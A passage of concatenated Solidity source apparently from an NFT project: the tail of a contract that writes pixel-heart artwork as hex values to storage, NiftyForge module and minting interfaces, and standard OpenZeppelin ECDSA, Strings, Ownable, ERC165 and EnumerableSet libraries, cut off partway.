sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffff)
sstore(69, 0xa00000a00000a00000ffffffffffffffffffa00000a00000a00000)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xa00000a00000a00000ffffffffffffffffffa00000a00000a00000)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xa00000a00000a00000ffffffffffffffffffa00000a00000a00000)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffff000000ffffff) //first black dot of the heart black
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffff0000001111ff0000000fff) //second heart line black/red/black
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffff)
sstore(69, 0xa00000a00000a00000ffffffffffffffffffa00000a00000a00000)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0x0000001110001111ff1111ff1111ff000000000abcffffffffffdfffffff) //third heart line black/red/red/red/black
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xfffffff1100110000ff0000ff0000ff0000ff0000ff001100fffffffffff) //fourth heart line black/red/red/red/red/red/black
sstore(69, 0xffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xa00000a00000a00000ffffffffffffffffffa00000a00000a00000)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffff)
sstore(69, 0x1aa1100001100ff1100ff1100ff1100ff1100ff1100ff1111ff111111fff) //fifth line black/red/red/red/red/red/red/red/black
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0x1aa1100001100ff1100ff1100ff1100ff1100ff1100ff1111ff111111fff) //sixth line same as fifth
sstore(69, 0xffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xa00000a00000a00000ffffffffffffffffffa00000a00000a00000)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffff)
sstore(69, 0x1aa1100001100ff1100ff1100ff1100111100ff1100ff1111ff111111fff) //seventh line black/red/red/red/black/red/red/red/black
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xaFFFFFF110022110022110022FFFFFF110022110022111122FFFFFFfffff) //last line white/black/black/black/white/black/black/black/white
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xa00000a00000a00000ffffffffffffffffffa00000a00000a00000)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xa00000a00000a00000ffffffffffffffffffa00000a00000a00000)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xa00000a00000a00000ffffffffffffffffffa00000a00000a00000)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffff)
}
}
}
interface ICaller{
function render(address addressToRender) external view returns(string memory);
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './INFModule.sol';
interface INFModuleWithRoyalties is INFModule {
/// @notice Return royalties (recipient, basisPoint) for tokenId
/// @dev Contrary to EIP2981, modules are expected to return basisPoint for second parameters
/// This in order to allow right royalties on marketplaces not supporting 2981 (like Rarible)
/// @param tokenId token to check
/// @return recipient and basisPoint for this tokenId
function royaltyInfo(uint256 tokenId)
external
view
returns (address recipient, uint256 basisPoint);
/// @notice Return royalties (recipient, basisPoint) for tokenId
/// @dev Contrary to EIP2981, modules are expected to return basisPoint for second parameters
/// This in order to allow right royalties on marketplaces not supporting 2981 (like Rarible)
/// @param registry registry to check id of
/// @param tokenId token to check
/// @return recipient and basisPoint for this tokenId </p>
function royaltyInfo(address registry, uint256 tokenId)
external
view
returns (address recipient, uint256 basisPoint);
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './INFModule.sol';
interface INFModuleTokenURI is INFModule {
function tokenURI(uint256 tokenId) external view returns (string memory);
function tokenURI(address registry, uint256 tokenId)
external
view
returns (string memory);
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/utils/structs/EnumerableSet.sol';
import '@openzeppelin/contracts/utils/introspection/ERC165.sol';
import './INFModule.sol';
/// @title NFBaseModule
/// @author Simon Fremaux (@dievardump)
contract NFBaseModule is INFModule, ERC165 {
using EnumerableSet for EnumerableSet.AddressSet;
EnumerableSet.AddressSet internal _attached;
event NewContractURI(string contractURI);
string private _contractURI;
modifier onlyAttached(address registry) {
require(_attached.contains(registry), '!NOT_ATTACHED!');
_;
}
constructor(string memory contractURI_) {
_setContractURI(contractURI_);
}
/// @inheritdoc INFModule
function contractURI() external view override returns (string memory) {
return _contractURI;
}
/// @inheritdoc INFModule
function onAttach() external override returns (bool) {
if (_attached.add(msg.sender)) {
return true;
}
revert('!ALREADY_ATTACHED!');
}
/// @notice this contract doesn't really care if it's enabled or not
/// since trying to mint on a contract where it's not enabled will fail
/// @inheritdoc INFModule
function onEnable() external pure override returns (bool) {
return true;
}
/// @inheritdoc INFModule
function onDisable() external override {}
function _setContractURI(string memory contractURI_) internal {
_contractURI = contractURI_;
emit NewContractURI(contractURI_);
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
/// @title INiftyForge721
/// @author Simon Fremaux (@dievardump)
interface INiftyForge721 {
struct ModuleInit {
address module;
bool enabled;
bool minter;
}
/// @notice totalSupply access
function totalSupply() external view returns (uint256);
/// @notice helper to know if everyone can mint or only minters
function isMintingOpenToAll() external view returns (bool);
/// @notice Toggle minting open to all state
/// @param isOpen if the new state is open or not
function setMintingOpenToAll(bool isOpen) external;
/// @notice Mint token to `to` with `uri`
/// @param to address of recipient
/// @param uri token metadata uri
/// @param feeRecipient the recipient of royalties
/// @param feeAmount the royalties amount. From 0 to 10000
/// where 10000 == 100.00%; 1000 == 10.00%; 250 == 2.50%
/// @param transferTo the address to transfer the NFT to after mint
/// this is used when we want to mint the NFT to the creator address
/// before transferring it to a recipient
/// @return tokenId the tokenId
function mint(
address to,
string memory uri,
address feeRecipient,
uint256 feeAmount,
address transferTo
) external returns (uint256 tokenId);
/// @notice Mint batch tokens to `to[i]` with `uri[i]`
/// @param to array of address of recipients
/// @param uris array of token metadata uris
/// @param feeRecipients the recipients of royalties for each id
/// @param feeAmounts the royalties amounts for each id. From 0 to 10000
/// where 10000 == 100.00%; 1000 == 10.00%; 250 == 2.50%
/// @return tokenIds the tokenIds
function mintBatch(
address[] memory to,
string[] memory uris,
address[] memory feeRecipients,
uint256[] memory feeAmounts
) external returns (uint256[] memory tokenIds);
/// @notice Mint `tokenId` to to` with `uri`
/// Because not all tokenIds have incremental ids
/// be careful with this function, it does not increment lastTokenId
/// and expects the minter to actually know what it is doing.
/// this also means, this function does not verify _maxTokenId
/// @param to address of recipient
/// @param uri token metadata uri
/// @param tokenId token id wanted
/// @param feeRecipient the recipient of royalties
/// @param feeAmount the royalties amount. From 0 to 10000
/// where 10000 == 100.00%; 1000 == 10.00%; 250 == 2.50%
/// @param transferTo the address to transfer the NFT to after mint
/// this is used when we want to mint the NFT to the creator address
/// before transferring it to a recipient
/// @return tokenId the tokenId
function mint(
address to,
string memory uri,
uint256 tokenId_,
address feeRecipient,
uint256 feeAmount,
address transferTo
) external returns (uint256 tokenId);
/// @notice Mint batch tokens to `to[i]` with `uris[i]`
/// Because not all tokenIds have incremental ids
/// be careful with this function, it does not increment lastTokenId
/// and expects the minter to actually know what it's doing.
/// this also means, this function does not verify _maxTokenId
/// @param to array of address of recipients
/// @param uris array of token metadata uris
/// @param tokenIds array of token ids wanted
/// @param feeRecipients the recipients of royalties for each id
/// @param feeAmounts the royalties amounts for each id. From 0 to 10000
/// where 10000 == 100.00%; 1000 == 10.00%; 250 == 2.50%
/// @return tokenIds the tokenIds
function mintBatch(
address[] memory to,
string[] memory uris,
uint256[] memory tokenIds,
address[] memory feeRecipients,
uint256[] memory feeAmounts
) external returns (uint256[] memory);
/// @notice Attach a module
/// @param module a module to attach
/// @param enabled if the module is enabled by default
/// @param canModuleMint if the module has to be given the minter role
function attachModule(
address module,
bool enabled,
bool canModuleMint
) external;
/// @dev Allows owner to enable a module
/// @param module to enable
/// @param canModuleMint if the module has to be given the minter role
function enableModule(address module, bool canModuleMint) external;
/// @dev Allows owner to disable a module
/// @param module to disable
function disableModule(address module, bool keepListeners) external;
/// @notice function that returns a string that can be used to render the current token
/// @param tokenId tokenId
/// @return the URI to render token
function renderTokenURI(uint256 tokenId)
external
view
returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.0;
import "../Strings.sol";
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Message, created from `s`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/utils/introspection/IERC165.sol';
interface INFModule is IERC165 {
/// @notice Called by a Token Registry whenever the module is Attached
/// @return if the attach worked
function onAttach() external returns (bool);
/// @notice Called by a Token Registry whenever the module is Enabled
/// @return if the enabling worked
function onEnable() external returns (bool);
/// @notice Called by a Token Registry whenever the module is Disabled
function onDisable() external;
/// @notice returns an URI with information about the module
/// @return the URI where to find information about the module
function contractURI() external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
